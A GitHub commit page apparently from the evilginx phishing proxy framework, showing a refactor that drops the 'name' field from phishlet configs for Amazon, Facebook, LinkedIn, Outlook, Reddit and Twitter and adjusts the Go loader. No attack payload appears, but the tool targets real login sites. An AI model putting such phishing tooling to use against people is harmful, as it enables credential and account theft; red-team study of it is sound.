Skip to content

Commit

Permalink
removed 'name' variable from phishlets
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Nov 21, 2018
1 parent 651c18b commit edc715e
Show file tree
Hide file tree
Showing 8 changed files with 4 additions and 14 deletions.
10 changes: 3 additions & 7 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -155,7 +155,7 @@ func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
}
p.Clear()

err := p.LoadFromFile(path)
err := p.LoadFromFile(site, path)
if err != nil {
return nil, err
}
Expand All @@ -178,7 +178,7 @@ func (p *Phishlet) Clear() {
p.forcePost = []ForcePost{}
}

func (p *Phishlet) LoadFromFile(path string) error {
func (p *Phishlet) LoadFromFile(site string, path string) error {
p.Clear()

c := viper.New()
Expand All @@ -190,10 +190,7 @@ func (p *Phishlet) LoadFromFile(path string) error {
return err
}

p.Name = c.GetString("name")
if p.Name == "" {
return fmt.Errorf("missing or empty `name` field")
}
p.Name = site
p.Author = c.GetString("author")
p.Version, err = p.parseVersion(c.GetString("min_ver"))
if err != nil {
Expand Down Expand Up @@ -241,7 +238,6 @@ func (p *Phishlet) LoadFromFile(path string) error {
return fmt.Errorf("missing `landing_path` section")
}

p.Name = fp.Name
for _, ph := range *fp.ProxyHosts {
if ph.PhishSub == nil {
return fmt.Errorf("proxy_hosts: missing `phish_sub` field")
Expand Down
2 changes: 1 addition & 1 deletion main.go
Original file line number Diff line number Diff line change
Expand Up @@ -108,7 +108,7 @@ func main() {
log.Error("failed to load phishlet '%s': %v", f.Name(), err)
continue
}
log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
//log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
cfg.AddPhishlet(pname, pl)
}
}
Expand Down
1 change: 0 additions & 1 deletion phishlets/amazon.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'amazon'
author: '@customsync'
min_ver: '2.2.0'
proxy_hosts:
Expand Down
1 change: 0 additions & 1 deletion phishlets/facebook.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'facebook'
author: '@mrgretzky'
min_ver: '2.2.0'
proxy_hosts:
Expand Down
1 change: 0 additions & 1 deletion phishlets/linkedin.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'linkedin'
author: '@mrgretzky'
min_ver: '2.2.0'
proxy_hosts:
Expand Down
1 change: 0 additions & 1 deletion phishlets/outlook.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'outlook'
author: '@mrgretzky'
min_ver: '2.2.0'
proxy_hosts:
Expand Down
1 change: 0 additions & 1 deletion phishlets/reddit.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'reddit'
author: '@customsync'
min_ver: '2.2.0'
proxy_hosts:
Expand Down
1 change: 0 additions & 1 deletion phishlets/twitter.yaml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
name: 'twitter'
author: '@white_fi'
min_ver: '2.2.0'
proxy_hosts:
Expand Down

0 comments on commit edc715e

Please sign in to comment.